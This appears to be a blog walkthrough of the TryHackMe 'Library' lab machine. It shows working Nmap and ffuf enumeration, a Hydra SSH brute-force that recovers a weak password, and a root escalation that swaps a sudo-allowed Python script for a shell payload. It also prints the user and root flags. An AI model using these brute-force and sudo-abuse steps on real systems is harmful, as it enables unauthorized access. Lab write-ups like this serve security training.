← Back to list

TryHackMe — Library Walkthrough

Introduction

Siyon Rai · 2026-06-22 06:02 · 0 claps · 7.1 min read
#web-enumeration #privilege-escalation #tryhackme-walkthrough #ctf-writeup #tryhackme
Open on Medium ↗
Wiki topics: 📚 · Books & Reading

TryHackMe — Library Walkthrough

Introduction

In this walkthrough, I’ll be solving the Library machine from TryHackMe. This is a beginner-friendly Linux box that shows how small weaknesses can be chained together to gain full system compromise.

Enumeration

The first step in any machine is to identify what services are exposed. For this, I used Nmap to scan all ports and detect service versions.

nmap -sV -A -p- 10.48.159.239
  • nmap → the network scanning tool used to discover open ports and services.
  • -sV → probes open ports to identify the version of the service running on them.
  • -A → enables aggressive scan features such as OS detection, version detection, script scanning, and traceroute.
  • -p- → tells Nmap to scan all 65535 TCP ports instead of only the top common ones.
  • 10.48.159.239 → the target machine IP address.

Result

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu
80/tcp open  http    Apache httpd 2.4.18 Ubuntu

The scan shows two open ports:

  • Port 22 (SSH) running OpenSSH 7.2p2
  • Port 80 (HTTP) running Apache 2.4.18

At this stage, the web server is the best place to start. Web applications often reveal usernames, files, directories, or credentials that can later be reused against services like SSH.

Web Enumeration

Since the target exposes an HTTP service, I opened the website in the browser to see what was running on it.

The site displayed a blog page titled:

Welcome to Blog — Library Machine

Even if a website looks simple, it is still worth enumerating for hidden directories and manually reviewing the content for usernames or useful information.

Directory Bruteforcing

To look for hidden paths, I used ffuf for directory enumeration.

ffuf -u http://10.48.159.239/FUZZ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  • ffuf → a fast web fuzzer commonly used for finding hidden directories, files, parameters, and virtual hosts.
  • -u http://10.48.159.239/FUZZ → the target URL. FUZZ is the placeholder that ffuf will replace with each word from the wordlist.
  • -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt → the wordlist used for fuzzing. In this case, a common directory wordlist from DirBuster.

Result

The scan returned only one interesting directory:

/images

No admin panel, upload functionality, or backup directory was found from directory brute forcing.

Manual Review of the Website

Even though directory enumeration did not reveal much, manually reviewing the website content was still important. While exploring the blog, I noticed a username mentioned on the page:

meliodas

Why this matters

This is an important finding because usernames exposed on websites are often reused as valid system usernames. Since SSH is open on the machine, **meliodas** immediately becomes a strong candidate for an SSH login attempt.

At this point, we do not have a password yet, but we do have a valid username. That is enough to move to the next stage.

SSH Brute Force

Now that I had a likely valid username, I targeted the SSH service with Hydra to test a password list against the account.

hydra -l meliodas \
-P /usr/share/wordlists/rockyou.txt \
ssh://10.48.159.239
  • hydra → a login brute-force tool that supports many protocols including SSH, FTP, HTTP, SMB, and others.
  • -l meliodas → specifies a single username to test. In this case, the username discovered from the blog.
  • -P /usr/share/wordlists/rockyou.txt → provides a password wordlist. rockyou.txt is a very common password list used in CTFs and labs.
  • ssh://10.48.159.239 → tells Hydra to attack the SSH service on the target machine.

Hydra successfully recovered valid credentials:

[22][ssh] host: 10.48.159.239   login: meliodas   password: iloveyou1

Credentials Found

  • Username: meliodas
  • Password: iloveyou1

This confirms that the username found on the website is also a valid SSH account and that the account is protected by a weak password.

Now that we have valid credentials, we can move from remote enumeration to initial shell access.

Initial Access

Using the credentials recovered by Hydra, I logged in over SSH.

ssh meliodas@10.48.159.239
  • ssh → the Secure Shell client used to remotely connect to a machine.
  • meliodas@10.48.159.239 → logs in to the target as the user meliodas.

When prompted for the password, I entered:

iloveyou1

After logging in successfully, I listed the contents of the home directory to see what files were available.

ls
  • ls → lists files and directories in the current directory.
bak.py
user.txt

Two files are immediately visible:

  • user.txt → likely the user flag
  • bak.py → a Python script that may become interesting later during privilege escalation

Reading the User Flag

The next step was to read the user flag.

cat user.txt
  • cat → displays the contents of a file directly in the terminal.

Result

6d488cbb3f111d135722c33cb635f4ec

At this point, user-level access is complete. The next task is to escalate privileges to root.

Privilege Escalation Enumeration

After gaining a foothold on a Linux machine, one of the first commands I always run is:

sudo -l

This checks whether the current user can run any commands as another user (usually root) through sudo.

  • sudo → runs a command as another user, usually root.
  • -l → lists the commands the current user is allowed to run via sudo.

Result

(ALL) NOPASSWD: /usr/bin/python* /home/meliodas/bak.py

Understanding the Sudo Misconfiguration

This line is the key to privilege escalation.

Let’s break it down:

(ALL) NOPASSWD: /usr/bin/python* /home/meliodas/bak.py
  • (ALL) → the command can be executed as any user, including root.
  • NOPASSWD → the command can be run without entering a password.
  • **/usr/bin/python*** → any Python interpreter matching that path can be used, such as python, python2, or python3.
  • /home/meliodas/bak.py → the script that sudo allows us to run.

In simple terms, this means:

The user meliodas is allowed to run a Python interpreter as root on the script /home/meliodas/bak.py without entering a password.

That is extremely dangerous if the script can be modified or replaced.

Checking the Script Permissions

To understand whether we can abuse this, I checked the file permissions.

ls -la
  • ls -la
  • -l → shows long listing format, including permissions, ownership, and timestamps.
  • -a → includes hidden files as well.

Result

-rw-r--r-- 1 root root 353 bak.py

At first glance, this might look safe because the file is owned by root.

But file ownership is not the full story.

Why This Is Still Exploitable

Although bak.py is owned by root, it is stored inside the user’s home directory. If the directory permissions allow meliodas to write inside it, then the user can delete the existing file and create a new file with the same name.

That means the attack path becomes:

  1. Delete the original bak.py
  2. Replace it with a malicious Python script
  3. Run it using the allowed sudo command
  4. The script executes as root

This is a classic example of a dangerous sudo rule involving a script in a user-controlled location.

Exploitation

To exploit this, I removed the original bak.py and replaced it with a simple Python payload that spawns a shell.

Step 1: Remove the original script

rm bak.py
  • rm → removes a file.
  • Here, it deletes the original bak.py so that we can replace it with our own malicious version.

Step 2: Create a malicious Python script

echo 'import os; os.system("/bin/bash")' > bak.py

  • echo ‘…’ → prints the string inside the quotes.
  • > bak.py → redirects the output into a file named bak.py, creating or overwriting it.

The payload inside the file is:

import os
os.system("/bin/bash")

What this Python payload does

  • import os → imports Python’s os module, which allows interaction with the operating system.
  • os.system(“/bin/bash”) → runs /bin/bash as a system command.

Because we will run this script through the sudo rule, the Bash shell launched by the script will execute with root privileges.

Step 3: Execute the malicious script as root

Now that the script has been replaced, I used the allowed sudo command to execute it.

sudo /usr/bin/python3 /home/meliodas/bak.py

Command Explanation

  • sudo → executes the command with elevated privileges according to the sudo rule.
  • /usr/bin/python3 → the Python interpreter being used.
  • /home/meliodas/bak.py → the malicious script we just created.

Because this exact command matches the sudo rule, it runs as root without asking for a password.

Result

root@ubuntu:~#

We now have a root shell.

Reading the Root Flag

With root access, the final step is to retrieve the root flag from the root user’s home directory.

cd /root
cat root.txt

Result

e8c8c6c256c35515d1d344ee0488c617

Full Attack Path Summary

The complete compromise chain for this room was:

  1. Enumerate the target with Nmap and identify SSH and HTTP services
  2. Inspect the website and discover the username meliodas
  3. Brute-force SSH using Hydra and recover the password iloveyou1
  4. Log in over SSH as meliodas
  5. Enumerate sudo privileges using sudo -l
  6. Identify the dangerous Python sudo rule
  7. Replace bak.py with a malicious Python script
  8. Execute the script via sudo
  9. Obtain a root shell and read the root flag

Conclusion

The Library machine is a simple but effective room for practicing the basics of Linux compromise. The path to root is built from three mistakes:

  • a username exposed through the website
  • a weak SSH password
  • an unsafe sudo rule involving a Python script in a user-controlled location

None of these issues are complicated on their own, but together they lead to full compromise of the machine.

For beginners, this room is excellent practice for building the habit of enumerate → analyze → exploit → escalate rather than rushing straight into attacks.


메타데이터
post_id
8cf738514dc2
slug
tryhackme-library-walkthrough-8cf738514dc2
url
https://medium.com/@siyonrai2/tryhackme-library-walkthrough-8cf738514dc2
canonical_url
https://medium.com/@siyonrai2/tryhackme-library-walkthrough-8cf738514dc2
author_url
https://medium.com/@siyonrai2
status
ok
fetched_at
2026-07-26 02:36:47